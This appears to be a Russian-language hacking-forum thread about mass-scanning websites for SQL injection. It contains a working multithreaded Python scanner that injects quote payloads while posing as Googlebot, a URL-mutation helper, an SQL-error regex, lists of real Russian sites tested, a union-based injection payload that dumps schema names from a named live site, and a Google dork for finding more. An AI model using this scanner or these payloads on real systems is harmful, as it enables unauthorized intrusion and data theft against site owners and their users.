Вообщем, появилась такая идея. Сначала я ее реализовал в лоб. Написал краулера на питоне, который в 100 потоков ходит по ссылкам на сайте и подставляет в конец %27. Инъекции находит... но сайт отправляет в даун после 100.000 запросов (за пару минут). Слишком палевно. Вообщем я ищу способ как находить похожие ссылки на сайте, например, есть ссылки /news/1 ... /news/100500. Совершенно очевидно, что не нужно проверять 100500 ссылок, достаточно проверить только /news/1%27. Я тупенький и ничего в голову не лезет.
Регулярка для поиска инъекций на странице. Может кому пригодится: PHP: r'mysqli?_fetch\w+\(\)|You have an error in your SQL syntax|DB query error' DB query error - это ошибка Битрикса. Данная CMS весьма распространнена в Рунете.
Набросок на javascript (реализовать можно на любом языке) PHP: var test_urls = new Set()// получаем все ссылки на страницеvar urls = [...document.getElementsByTagName('a')]// дефрагментизация.map(link => link.href.replace(/#.*/, ''))console.log(urls.length) // 404// выбираем уникальные ссылкиvar unique_urls = new Set(urls)console.log(unique_urls.size) // 402for (let url of unique_urls) { url = new URL(url) if (url.search) { // заменяем значения параметров for (let k of url.searchParams.keys()) { url.searchParams.set(k, "'") } test_urls.add(url.toString()) } /* что-то придумать */}console.log(test_urls.values())VM331:6 404VM331:9 402VM331:20 SetIterator {"http://www.useragentstring.com/pages/useragentstring.php?name=%27", "http://www.useragentstring.com/pages/useragentstring.php?typ=%27"} Вместо 404(402) ссылок нужно проверить только две. Я вот сейчас думаю как ссылки типа /news/123 к каноническому виду привести. Повсеместно используется mod_rewrite и в этом большая сложность. Но 100500 запросов к серверу делать совсем не вариант.
Вообщем, по-ходу то что я хочу никак и не сделать. Поэтому сканнер останется в таком виде: PHP: import argparseimport loggingimport queueimport reimport threadingfrom urllib.request import HTTPRedirectHandler, Request, build_openerMAX_THREADS = 100# TODO: добавить больше правилSQL_ERROR_RE = re.compile(( # mysql/mysqli r'mysqli?_fetch\w+\(\)|' # pdo r'You have an error in your SQL syntax|' # Bitrix r'DB query error'))logger = logging.getLogger('SQLiScanner')class RedirectHandler(HTTPRedirectHandler): def redirect_request(self, req, fp, code, msg, headers, newurl): passclass Scanner(threading.Thread): def __init__(self, urls, vuln, lock, stop): super().__init__() self.urls = urls self.vuln = vuln self.lock = lock self.stop = stop self.daemon = True self.start() def run(self): while not self.stop.is_set(): try: url = self.urls.get_nowait() except queue.Empty: continue try: # WHERE id = '" . mysqli_real_escape_string($link, trim($_GET['id'])) . "' ... # encodeURIComponent("'-- [") url = url.replace('*', "'--%20%5B") req = Request(url, headers={'User-Agent': self.user_agent()}) opener = build_opener(RedirectHandler()) with opener.open(req, timeout=5) as resp: headers = resp.info() content = resp.read() encoding = headers.get_content_charset('utf-8') content = content.decode(encoding, 'replace') match = SQL_ERROR_RE.search(content) if match: with self.lock: logger.info('SQL Error "%s" at url "%s".', match.group(0), url) self.vuln.append(url) except Exception as e: with self.lock: logger.error(e) finally: self.urls.task_done() def user_agent(self): # TODO: сделать рандомный юзер-агент return 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'def to_queue(o): q = queue.Queue() for x in o: q.put(x) return qdef scan(urls): urls = to_queue(urls) num_threads = min(urls.qsize(), MAX_THREADS) vuln = [] lock = threading.Lock() stop = threading.Event() logger.info('Start scanning.') threads = [Scanner(urls, vuln, lock, stop) for _ in range(num_threads)] urls.join() stop.set() for t in threads: t.join() logger.info('Scanning finished. Vulnarable urls: %d.', len(vuln)) return vulnif __name__ == '__main__': logging.basicConfig(level=logging.DEBUG) parser = argparse.ArgumentParser(description='SQLiScanner by [email protected].') parser.add_argument('-f', '--file', default='urls.txt', help='file with test urls', type=str) parser.add_argument('-o', '--out', default='vuln.txt', help='output file with vulnarable urls', type=str) args = parser.parse_args() with open(args.file, 'r', encoding='utf-8') as fp: # urls = map(str.strip, fp.readlines()) urls = [line.strip() for line in fp] vuln = scan(urls) # >>> sorted(['b', 'ba', 'abc', 'cab', 'a']) # ['a', 'abc', 'b', 'ba', 'cab'] vuln = sorted(vuln) with open(args.out, 'w', encoding='utf-8') as fp: fp.write('\n'.join(vuln)) Code: D:\Projects\SQLiScanner>python sqliscanner.py INFO:SQLiScanner:Start scanning. INFO:SQLiScanner:Found "You have an error in your SQL syntax" at url "https://pravda-zdorovo.ru/catalog-next/9'--%20[". INFO:SQLiScanner:Scanning finished. Press any key to exit.
http://www.ratsp.ru/organization/contacts' сейчас сканнер работает по сл принципу: краулер заходит на главную сайта, собирает с нее сылки, а потом сканнер их проверяет. тупо брут
Тупо сканить на кавычку бред, как уже было выше сказано о блин и тайм бейсед скулях, да там еще туча чего что может инжектиться... Все что найдет по кавычке миллионы раз юзанное, слитое по 100500 раз,не интересное уг, ну МОЖЕТ быть из миллиона сайтов парочку стоящих так и найдется.
Вот этой функцией заменяю фрагменты url на *, а звездочку потом на кавычку PHP: def inject(url): scheme, netloc, path, query, fragment = urlsplit(url)[:5] if query: # a=b&c=d -> a=*&c=* query = '&'.join([k + '=*' for k, v in parse_qsl(query)]) elif path.endswith('/') and path != '/': # /a/b/ -> /a/*/ path = re.sub(r'[^/]+/$', '*/', path) else: # /a/b -> /a/* path = re.sub(r'[^/]+$', '*', path) return urlunsplit((scheme, netloc, path, query, fragment)) Code: http://www.bankist.ru/%27/ http://www.bankist.ru/article/%27/ http://www.bankist.ru/article/040617/%27/ http://www.bankist.ru/article/050617/%27/ http://www.bankist.ru/article/200617/%27/ http://www.bankist.ru/article/230617/%27/ http://www.bankist.ru/article/280517/%27/ http://www.bankist.ru/article/300517/%27/ http://www.bankist.ru/article/310517/%27/ http://www.bankist.ru/article/all/page/%27/ http://www.bankist.ru/article/category/%27/ http://www.bankist.ru/article/show/%27/ http://www.bankist.ru/blogs/%27/ http://www.bankist.ru/news/%27/ http://www.bankist.ru/news/archive/all/page/%27/ http://www.bankist.ru/page/%27/ http://www.bankist.ru/userhome/%27/ Из 1500 сайтов за 5 минут обнаружил 32 уязвимых. Например: Code: http://uyutmarket.ru/news/?news_id=-192+union+select+1,(select(@)from(select(@:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@:=concat(@,0x3c6c693e,table_schema,0x2e,table_name,0x3a,column_name))))a),3,4,5,6,7,8,9,10 Через гугл не палится: Code: site:uyutmarket.ru You have an error